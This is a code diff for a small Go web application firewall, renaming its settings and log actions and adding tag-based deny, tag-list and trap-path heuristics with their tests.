wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2) wantMetric(t, metrics, `sww_rules_loaded{instance="app"}`, 2)
wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+ wantMetric(t, metrics, `sww_requests_total{action="blocked_by_block_rule",`+
`instance="app",status_class="4xx"}`, 1) `instance="app",status_class="4xx"}`, 1)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 1) `sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="attack"}`, 1) wantMetric(t, metrics, `sww_offences_total{instance="app",kind="attack"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1) wantMetric(t, metrics, `sww_bans_made_total{cause="attack",instance="app"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0) wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 0)
wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
} }
// writeRules writes content as a rule file into a new directory, and // writeRules writes content as a rule file into a new directory, and
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -26,19 +26,18 @@ func TestAllowNetsSkipEveryCheck(t *testing.T) {
calls.Add(1) calls.Add(1)
}) })
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
// fromKP is in SWWAF_ALLOW_NETS, and in SWWAF_DENY_NETS too, which // fromKP is in SWW_ALLOW_NETS, and in SWW_DENY_NETS too, which
// comes after it. // comes after it.
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
allowNets: "198.51.100.0/24", allowNets: "198.51.100.0/24",
denyNets: fromKP, denyNets: fromKP,
deniedCountries: "kp", tagDeny: denyKP,
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
}) })
// Neither SWWAF_DENY_NETS, the country lists nor the limit of one // Neither SWW_DENY_NETS, SWW_TAG_DENY nor the limit of one request a
// request a minute refuses the client, and its country is not looked // minute refuses the client, and its country is not looked up.
// up.
wantAnswers(t, addr, out, []sentRequest{ wantAnswers(t, addr, out, []sentRequest{
{fromKP, http.StatusOK, requestlog.ActionForward}, {fromKP, http.StatusOK, requestlog.ActionForward},
{fromKP, http.StatusOK, requestlog.ActionForward}, {fromKP, http.StatusOK, requestlog.ActionForward},
@@ -69,7 +68,7 @@ func TestRequestFromAllowNetsIsNotCounted(t *testing.T) {
{listedAddr, http.StatusOK, requestlog.ActionForward}, {listedAddr, http.StatusOK, requestlog.ActionForward},
{listedAddr, http.StatusOK, requestlog.ActionForward}, {listedAddr, http.StatusOK, requestlog.ActionForward},
{unlistedAddr, http.StatusOK, requestlog.ActionForward}, {unlistedAddr, http.StatusOK, requestlog.ActionForward},
{unlistedAddr, http.StatusForbidden, requestlog.ActionRateLimited}, {unlistedAddr, http.StatusForbidden, requestlog.ActionClientIsRateLimited},
}) })
} }
@@ -85,7 +84,7 @@ func TestDenyNetsRefuseBeforeTheLookup(t *testing.T) {
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
denyNets: "203.0.113.0/24", denyNets: "203.0.113.0/24",
deniedCountries: "kp", tagDeny: denyKP,
}) })
req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")) req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))
@@ -93,7 +92,7 @@ func TestDenyNetsRefuseBeforeTheLookup(t *testing.T) {
wantStatus(t, do(t, req), http.StatusForbidden) wantStatus(t, do(t, req), http.StatusForbidden)
line := out.endedLine(t) line := out.endedLine(t)
wantLine(t, line, http.StatusForbidden, requestlog.ActionDenied) wantLine(t, line, http.StatusForbidden, requestlog.ActionClientDenied)
if len(asked()) != 0 { if len(asked()) != 0 {
t.Errorf("GeoJS was asked about %v, want nothing", asked()) t.Errorf("GeoJS was asked about %v, want nothing", asked())
@@ -104,6 +103,15 @@ func TestDenyNetsRefuseBeforeTheLookup(t *testing.T) {
} }
} }
func TestDenyNetsRefusalNamesItsHeuristicAndNetblock(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{denyNets: clientsNet})
line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied)
wantHeuristic(t, line, "deny_nets", `{"netblock": "`+clientsNet+`"}`)
}
func TestRequestRefusedByDenyNetsIsNotCounted(t *testing.T) { func TestRequestRefusedByDenyNetsIsNotCounted(t *testing.T) {
t.Parallel() t.Parallel()
@@ -117,10 +125,10 @@ func TestRequestRefusedByDenyNetsIsNotCounted(t *testing.T) {
// listedAddr's refused requests are not counted, so the first request // listedAddr's refused requests are not counted, so the first request
// from unlistedAddr is within the limit of one a minute. // from unlistedAddr is within the limit of one a minute.
wantAnswers(t, addr, out, []sentRequest{ wantAnswers(t, addr, out, []sentRequest{
{listedAddr, http.StatusForbidden, requestlog.ActionDenied}, {listedAddr, http.StatusForbidden, requestlog.ActionClientDenied},
{listedAddr, http.StatusForbidden, requestlog.ActionDenied}, {listedAddr, http.StatusForbidden, requestlog.ActionClientDenied},
{unlistedAddr, http.StatusOK, requestlog.ActionForward}, {unlistedAddr, http.StatusOK, requestlog.ActionForward},
{unlistedAddr, http.StatusForbidden, requestlog.ActionRateLimited}, {unlistedAddr, http.StatusForbidden, requestlog.ActionClientIsRateLimited},
}) })
} }
@@ -133,19 +141,19 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
lookupTimeout: "1h", lookupTimeout: "1h",
rateLimitExemptNets: listedAddr + "," + fromKP, rateLimitExemptNets: listedAddr + "," + fromKP,
deniedCountries: "kp", tagDeny: denyKP,
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
}) })
// listedAddr's requests are neither refused nor counted, so the first // listedAddr's requests are neither refused nor counted, so the first
// request from unlistedAddr is within the limit of one a minute. The // request from unlistedAddr is within the limit of one a minute.
// country lists still refuse an exempt client. // SWW_TAG_DENY still refuses an exempt client.
wantAnswers(t, addr, out, []sentRequest{ wantAnswers(t, addr, out, []sentRequest{
{listedAddr, http.StatusOK, requestlog.ActionForward}, {listedAddr, http.StatusOK, requestlog.ActionForward},
{listedAddr, http.StatusOK, requestlog.ActionForward}, {listedAddr, http.StatusOK, requestlog.ActionForward},
{unlistedAddr, http.StatusOK, requestlog.ActionForward}, {unlistedAddr, http.StatusOK, requestlog.ActionForward},
{unlistedAddr, http.StatusForbidden, requestlog.ActionRateLimited}, {unlistedAddr, http.StatusForbidden, requestlog.ActionClientIsRateLimited},
{fromKP, http.StatusForbidden, requestlog.ActionCountryDenied}, {fromKP, http.StatusForbidden, requestlog.ActionClientDenied},
}) })
} }
@@ -157,9 +165,9 @@ type sentRequest struct {
action string action string
} }
// wantAnswers sends requests to smallwebwaf at addr one after another and // wantAnswers sends requests to sww at addr one after another and
// checks each one's answer and log line. They must be the first requests // checks each one's answer and log line. They must be the first requests
// smallwebwaf is sent, since the log lines are matched to them in order. // sww is sent, since the log lines are matched to them in order.
func wantAnswers(t *testing.T, addr string, out *output, requests []sentRequest) { func wantAnswers(t *testing.T, addr string, out *output, requests []sentRequest) {
t.Helper() t.Helper()
+30
View File
@@ -0,0 +1,30 @@
package discriminator
// The heuristic tag_deny. It reads SWW_TAG_DENY.
import (
"context"
"slices"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// tagDeny refuses a request that carries a tag in SWW_TAG_DENY. Its figure is
// the first such tag, in sorted order.
type tagDeny struct{}
func (tagDeny) name() string { return "tag_deny" }
func (tagDeny) check(_ context.Context, rq *request, _ time.Time) *verdict {
for _, tag := range rq.line.Tags {
if slices.Contains(rq.h.config.TagDeny, tag) {
return &verdict{
action: requestlog.ActionClientDenied,
figures: map[string]any{"tag": tag},
}
}
}
return nil
}
+124
View File
@@ -0,0 +1,124 @@
package discriminator_test
import (
"net/http"
"testing"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
func TestTagDenyRefusesALookupTagAndNamesTheTag(t *testing.T) {
t.Parallel()
// The setting takes a country code in either case; the request's tag is
// in capitals.
s, _, _ := startWithLookups(t, map[string]string{tagDeny: "Country=kp"})
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
wantHeuristic(t, line, "tag_deny", `{"tag": "country=KP"}`)
wantTags(t, line, "asn=64511", "country=KP")
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
}
func TestTagDenyRefusesAnASNTag(t *testing.T) {
t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{tagDeny: "asn=64511"})
wantHeuristic(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
"tag_deny", `{"tag": "asn=64511"}`)
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
}
func TestTagDenyRefusesAListTagBeforeTheRateLimitsCount(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
tagLists: "torexit=" + torList, tagDeny: "torexit", rateLimitPerMinute: "1",
})
loadLists(t, server, map[string][]string{torList: {fromDE}})
// Each is refused for its tag: none is counted to break the limit of one.
for range 3 {
wantHeuristic(t, s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied),
"tag_deny", `{"tag": "torexit"}`)
}
}
func TestTagDenyRefusesAMixedCaseZoneByItsLowerCaseTag(t *testing.T) {
t.Parallel()
const mixedCaseZone = "DNSBL.example"
// The zone's tag is in lower case, however SWW_DNSBL_ZONES writes it.
s, server, _ := startWithLookups(t, map[string]string{
dnsblZones: mixedCaseZone, dnsblResolver: noResolver,
reputationAction: actionLog, tagDeny: "dnsbl=" + dnsblZone,
})
loadVerdicts(server, map[string][]string{fromDE: {mixedCaseZone}})
wantHeuristic(t, s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied),
"tag_deny", `{"tag": "dnsbl=`+dnsblZone+`"}`)
}
func TestTagDenyRefusesAnExploitSignatureOfARuleThatOnlyLogs(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, "noted path log ^/\n"), tagDeny: "exploitsignature",
})
line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied)
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
wantTags(t, line, "exploitsignature")
}
func TestTagLimitPercentLowersALimitTheLowestWinning(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
rateLimitPerMinute: fourAMinute,
tagLists: "vpn=" + vpnList + ",tor=" + torList,
tagLimitPercent: "vpn:50,tor:25",
})
loadLists(t, server, map[string][]string{vpnList: {fromDE}, torList: {fromDE}})
// A quarter of 4 requests a minute: the second breaks the limit.
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
line := s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
"25 from "+tagLimitPercent)
}
func TestTagLimitPercentLowersAByteLimitByAListTag(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
bytesLimitPerMinute: twoUploads,
tagLists: "vpn=" + vpnList,
tagLimitPercent: "vpn:50",
})
loadLists(t, server, map[string][]string{vpnList: {fromDE}})
// The upload's 100 bytes are over half of 199, 99.
line := s.uploadFrom(fromDE)
if line.LimitHit != minuteBytes {
t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
}
wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting,
"50 from "+tagLimitPercent)
// fromKP, which the list does not hold, has the whole limit.
line = s.uploadFrom(fromKP)
if line.LimitHit != "" {
t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
}
wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting, none)
}
+24
View File
@@ -0,0 +1,24 @@
package discriminator
// The heuristic tag_lists. It reads the address lists of SWW_TAG_LISTS through
// the reputation lists.
import (
"context"
"time"
)
// tagLists adds to the request one tag for each list of SWW_TAG_LISTS that
// holds the client, the tag being the list's name. It refuses nothing, and runs
// first so that every refusal's log line carries these tags.
type tagLists struct{}
func (tagLists) name() string { return "tag_lists" }
func (tagLists) check(_ context.Context, rq *request, _ time.Time) *verdict {
for _, name := range rq.h.lists.TagsOf(rq.client) {
rq.addTag(name)
}
return nil
}
+100
View File
@@ -0,0 +1,100 @@
package discriminator_test
import (
"net/http"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// tagLists is SWW_TAG_LISTS, and vpnList and torList lists it names.
const (
tagLists = "SWW_TAG_LISTS"
vpnList = "https://lists.example/vpn.txt"
torList = "https://lists.example/torexit.txt"
)
// wantTags checks the log line's tags.
func wantTags(t *testing.T, line logLine, want ...string) {
t.Helper()
got, _ := line.fields["tags"].([]any)
tags := make([]string, 0, len(got))
for _, tag := range got {
text, _ := tag.(string)
tags = append(tags, text)
}
if !slices.Equal(tags, want) {
t.Errorf("log line has tags %v, want %v", tags, want)
}
}
func TestLookupAndTagListsGiveTheRequestItsTagsSorted(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
tagLists: "vpn=mullvad=" + vpnList + ",TorExit=" + torList,
})
loadLists(t, server, map[string][]string{
vpnList: {fromDE}, torList: {fromDE + "/32", fromKP},
})
wantTags(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
"asn=64496", "country=DE", "torexit", "vpn=mullvad")
wantTags(t, s.get(fromKP, http.StatusOK, requestlog.ActionForward),
"asn=64511", "country=KP", "torexit")
}
func TestRequestWithoutATagLeavesTheFieldOut(t *testing.T) {
t.Parallel()
// With no lookup, a client is not placed and no setting gives it a tag.
s, _, _ := startWithClock(t, "", map[string]string{lookupSource: "off"})
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
if _, present := line.fields["tags"]; present {
t.Errorf("log line has tags %v, want none", line.fields["tags"])
}
}
func TestTagListsTagEvenARequestTheCountryListRefuses(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
tagLists: "vpn=" + vpnList, allowedCountries: "de",
})
loadLists(t, server, map[string][]string{vpnList: {fromKP}})
wantTags(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
"asn=64511", "country=KP", "vpn")
}
func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
tagLists: "vpn=" + vpnList, denyNets: fromKP, rateLimitPerMinute: "1",
})
loadLists(t, server, map[string][]string{vpnList: {fromDE, fromKP}})
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
if line.Heuristic != "deny_nets" {
t.Errorf("log line has heuristic %q, want deny_nets", line.Heuristic)
}
wantTags(t, line, "vpn")
// The second request breaks the limit of one a minute, which bans the client.
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line = s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
if line.Heuristic != "active_ban" {
t.Errorf("log line has heuristic %q, want active_ban", line.Heuristic)
}
wantTags(t, line, "vpn")
}
+37
View File
@@ -0,0 +1,37 @@
package discriminator
// The heuristic trap_paths. It reads SWW_TRAP_PATHS.
import (
"context"
"slices"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// trapPaths refuses a request for a path in SWW_TRAP_PATHS: its path as a
// path rule sees it, without the query, as sent or once percent-decoded, is one
// of them. Such a request is a clear sign of attack, as a ban rule's match is:
// it bans the client's netblock, or in observe mode raises the alert for the
// ban it would have made. The ban's notes give the path as sent, and so does
// its figure.
type trapPaths struct{}
func (trapPaths) name() string { return "trap_paths" }
func (trapPaths) check(_ context.Context, rq *request, now time.Time) *verdict {
path := rules.Path(rq.in)
if !slices.Contains(rq.h.config.TrapPaths, path) &&
!slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) {
return nil
}
rq.attack = true
return &verdict{
action: rq.banForAttack(now, bans.Notes{TrapPath: path}),
figures: map[string]any{"path": path},
}
}
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -14,14 +14,14 @@ import (
// trapPaths is the setting's name, and trapPathList what the tests set it // trapPaths is the setting's name, and trapPathList what the tests set it
// to. // to.
const ( const (
trapPaths = "SWWAF_TRAP_PATHS" trapPaths = "SWW_TRAP_PATHS"
trapPathList = "/wp-login.php,/xmlrpc.php" trapPathList = "/wp-login.php,/xmlrpc.php"
) )
func TestTrapPathBansAsABanRuleDoes(t *testing.T) { func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
t.Parallel() t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
// A block rule for the same path: the trap path comes first. // A block rule for the same path: the trap path comes first.
s, clk, server := startWithClock(t, "", map[string]string{ s, clk, server := startWithClock(t, "", map[string]string{
@@ -38,12 +38,12 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
s.request(otherClient, path, http.StatusOK, requestlog.ActionForward) s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
} }
// A client in SWWAF_ALLOW_NETS is not checked. // A client in SWW_ALLOW_NETS is not checked.
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward) s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
// The query is not part of the path. // The query is not part of the path.
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests, line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
requestlog.ActionBanned) requestlog.ActionTemporarilyBanned)
wantRuleIDs(t, line) wantRuleIDs(t, line)
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) { if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
@@ -77,12 +77,22 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
} }
// The next request is refused under the ban, and makes it permanent. // The next request is refused under the ban, and makes it permanent.
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned) line = s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
if line.BanExpires != permanent { if line.BanExpires != permanent {
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires) t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
} }
} }
func TestTrapPathRefusalNamesItsHeuristicAndPath(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
wantHeuristic(t, line, "trap_paths", `{"path": "/wp-login.php"}`)
}
func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) { func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) {
t.Parallel() t.Parallel()
@@ -90,7 +100,8 @@ func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) {
// %2577 decodes once to %77, not to w. // %2577 decodes once to %77, not to w.
s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward) s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward)
s.request(client, "/%77p-login.php", http.StatusForbidden, requestlog.ActionBanned) s.request(client, "/%77p-login.php", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
// The ban's notes give the path as the client sent it. // The ban's notes give the path as the client sent it.
got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
@@ -104,10 +115,11 @@ func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
s, _, _ := startWithClock(t, "", map[string]string{ s, _, _ := startWithClock(t, "", map[string]string{
trapPaths: trapPathList, trapPaths: trapPathList,
"SWWAF_RULES_ENABLED": "false", "SWW_RULES_ENABLED": "false",
}) })
s.request(client, "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned) s.request(client, "/xmlrpc.php", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
} }
func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) { func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
@@ -119,7 +131,7 @@ func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
}) })
line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward) line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned) wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
// No ban was made. // No ban was made.
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
+18 -8
View File
@@ -24,7 +24,7 @@ const quietTime = 2 * time.Second
// FileParams are what OpenFile needs. // FileParams are what OpenFile needs.
type FileParams struct { type FileParams struct {
// Path is the lookup database, the IPinfo Lite file in its .mmdb form // Path is the lookup database, the IPinfo Lite file in its .mmdb form
// (SWWAF_LOOKUP_DB_PATH). // (SWW_LOOKUP_DB_PATH).
Path string Path string
// Now tells the time, normally time.Now. // Now tells the time, normally time.Now.
Now func() time.Time Now func() time.Time
@@ -51,7 +51,7 @@ type File struct {
} }
// record is what the lookup database holds about a network, of the fields // record is what the lookup database holds about a network, of the fields
// smallwebwaf reads. // sww reads.
type record struct { type record struct {
ASN string `maxminddb:"asn"` ASN string `maxminddb:"asn"`
ASName string `maxminddb:"as_name"` ASName string `maxminddb:"as_name"`
@@ -133,8 +133,11 @@ func (f *File) Watch(ctx context.Context) {
} }
if err != nil { if err != nil {
f.params.ProcessLog.Error("cannot watch the lookup database for replacements", f.params.ProcessLog.Error(
"error", err.Error()) "cannot watch the lookup database for replacements",
"error",
err.Error(),
)
return return
} }
@@ -194,7 +197,10 @@ func (f *File) readAgain() {
f.params.Alerts.Raise(alerts.Alert{ f.params.Alerts.Raise(alerts.Alert{
Event: alerts.EventFileError, Event: alerts.EventFileError,
Reason: kept, Reason: kept,
Detail: map[string]any{"file": f.params.Path, "error": err.Error()}, Detail: map[string]any{
"file": f.params.Path,
"error": err.Error(),
},
}) })
f.params.ProcessLog.Error(kept, "error", err.Error()) f.params.ProcessLog.Error(kept, "error", err.Error())
@@ -212,7 +218,11 @@ func (f *File) use(reader *maxminddb.Reader) {
f.lastRead = f.params.Now() f.lastRead = f.params.Now()
f.mu.Unlock() f.mu.Unlock()
f.params.ProcessLog.Info("read the lookup database", "file", f.params.Path) f.params.ProcessLog.Info(
"read the lookup database",
"file",
f.params.Path,
)
} }
// read reads the lookup database at path. The whole file is read into // read reads the lookup database at path. The whole file is read into
@@ -221,12 +231,12 @@ func (f *File) use(reader *maxminddb.Reader) {
func read(path string) (*maxminddb.Reader, error) { func read(path string) (*maxminddb.Reader, error) {
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
if err != nil { if err != nil {
return nil, fmt.Errorf("SWWAF_LOOKUP_DB_PATH cannot be read: %w", err) return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH cannot be read: %w", err)
} }
reader, err := maxminddb.OpenBytes(data) reader, err := maxminddb.OpenBytes(data)
if err != nil { if err != nil {
return nil, fmt.Errorf("SWWAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err) return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
} }
return reader, nil return reader, nil
+3 -3
View File
@@ -99,9 +99,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
writeFile(t, notDatabase, "not a lookup database\n") writeFile(t, notDatabase, "not a lookup database\n")
for path, want := range map[string]string{ for path, want := range map[string]string{
missing: "SWWAF_LOOKUP_DB_PATH cannot be read: open " + missing + missing: "SWW_LOOKUP_DB_PATH cannot be read: open " + missing +
": no such file or directory", ": no such file or directory",
notDatabase: "SWWAF_LOOKUP_DB_PATH " + notDatabase + notDatabase: "SWW_LOOKUP_DB_PATH " + notDatabase +
" is not a .mmdb file: error opening database: invalid MaxMind DB file", " is not a .mmdb file: error opening database: invalid MaxMind DB file",
} { } {
_, err := OpenFile(FileParams{ _, err := OpenFile(FileParams{
@@ -216,7 +216,7 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
Reason: "the lookup database cannot be read, and the one read before stays in use", Reason: "the lookup database cannot be read, and the one read before stays in use",
Detail: map[string]any{ Detail: map[string]any{
"file": path, "file": path,
"error": "SWWAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " + "error": "SWW_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
"error opening database: invalid MaxMind DB file", "error opening database: invalid MaxMind DB file",
}, },
}) })
+5 -5
View File
@@ -1,6 +1,6 @@
// Package lookup looks up each client's AS number and country, through // Package lookup looks up each client's AS number and country, through
// the GeoJS web service or in the lookup database, the IPinfo Lite file // the GeoJS web service or in the lookup database, the IPinfo Lite file
// SWWAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at // SWW_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
// most 100,000 clients and for 7 days each, and are written to // most 100,000 clients and for 7 days each, and are written to
// lookups.json and read from it by the state package. // lookups.json and read from it by the state package.
package lookup package lookup
@@ -66,7 +66,7 @@ type Params struct {
URL string URL string
// Timeout is how long a request waits for its client's first answer, // Timeout is how long a request waits for its client's first answer,
// and how long a request to GeoJS may take before it is abandoned // and how long a request to GeoJS may take before it is abandoned
// (SWWAF_LOOKUP_TIMEOUT). // (SWW_LOOKUP_TIMEOUT).
Timeout time.Duration Timeout time.Duration
// Wait is true when a setting needs each request's answer before the // Wait is true when a setting needs each request's answer before the
// request goes on. Otherwise no request waits for one. // request goes on. Otherwise no request waits for one.
@@ -198,7 +198,7 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
answer, found := g.kept(client) answer, found := g.kept(client)
if !found { if !found {
g.metrics.GeoJSUnanswered.Inc() g.metrics.RequestsWithoutGeoJSAnswer.Inc()
} }
w, waiting := g.waiting[client] w, waiting := g.waiting[client]
@@ -296,7 +296,7 @@ func (g *GeoJS) answerOrWait(
} }
if w == nil { if w == nil {
g.metrics.GeoJSUnanswered.Inc() g.metrics.RequestsWithoutGeoJSAnswer.Inc()
return Answer{}, nil // too many clients wait already return Answer{}, nil // too many clients wait already
} }
@@ -307,7 +307,7 @@ func (g *GeoJS) answerOrWait(
} }
if w.late { if w.late {
g.metrics.GeoJSUnanswered.Inc() g.metrics.RequestsWithoutGeoJSAnswer.Inc()
return Answer{}, nil return Answer{}, nil
} }
+8 -8
View File
@@ -362,7 +362,7 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
mu.Unlock() mu.Unlock()
wantCountry(t, g, client, germany) wantCountry(t, g, client, germany)
wantUnanswered(t, m, 0) wantRequestsWithoutGeoJSAnswer(t, m, 0)
}) })
} }
@@ -596,7 +596,7 @@ func TestClientsWithoutAnAnswerAreCounted(t *testing.T) {
// GeoJS fails, so the first client goes without an answer, and GeoJS // GeoJS fails, so the first client goes without an answer, and GeoJS
// is left alone for a second, which does not pass in this test. // is left alone for a second, which does not pass in this test.
wantCountry(t, g, clients(), "") wantCountry(t, g, clients(), "")
wantUnanswered(t, m, 1) wantRequestsWithoutGeoJSAnswer(t, m, 1)
// Meanwhile each new client goes without one at once, while there is // Meanwhile each new client goes without one at once, while there is
// room for it among the 10,000 that may wait. // room for it among the 10,000 that may wait.
@@ -604,11 +604,11 @@ func TestClientsWithoutAnAnswerAreCounted(t *testing.T) {
wantCountry(t, g, clients(), "") wantCountry(t, g, clients(), "")
} }
wantUnanswered(t, m, 10000) wantRequestsWithoutGeoJSAnswer(t, m, 10000)
// One more, for which there is no room, goes without one too. // One more, for which there is no room, goes without one too.
wantCountry(t, g, clients(), "") wantCountry(t, g, clients(), "")
wantUnanswered(t, m, 10001) wantRequestsWithoutGeoJSAnswer(t, m, 10001)
}) })
} }
@@ -841,12 +841,12 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
} }
} }
// wantUnanswered checks how many requests m counts as having gone without // wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
// an answer from GeoJS. // gone without an answer from GeoJS.
func wantUnanswered(t *testing.T, m *metrics.Metrics, want float64) { func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
t.Helper() t.Helper()
got := testutil.ToFloat64(m.GeoJSUnanswered) got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
if got != want { if got != want {
t.Errorf("%v requests went without an answer, want %v", got, want) t.Errorf("%v requests went without an answer, want %v", got, want)
} }
+1 -1
View File
@@ -17,7 +17,7 @@ import (
const fileMode = 0o600 const fileMode = 0o600
// Network is what a lookup database holds about a netblock, of the fields // Network is what a lookup database holds about a netblock, of the fields
// smallwebwaf reads: its AS number, such as AS64496, the AS's name, and // sww reads: its AS number, such as AS64496, the AS's name, and
// its country, such as DE. // its country, such as DE.
type Network struct { type Network struct {
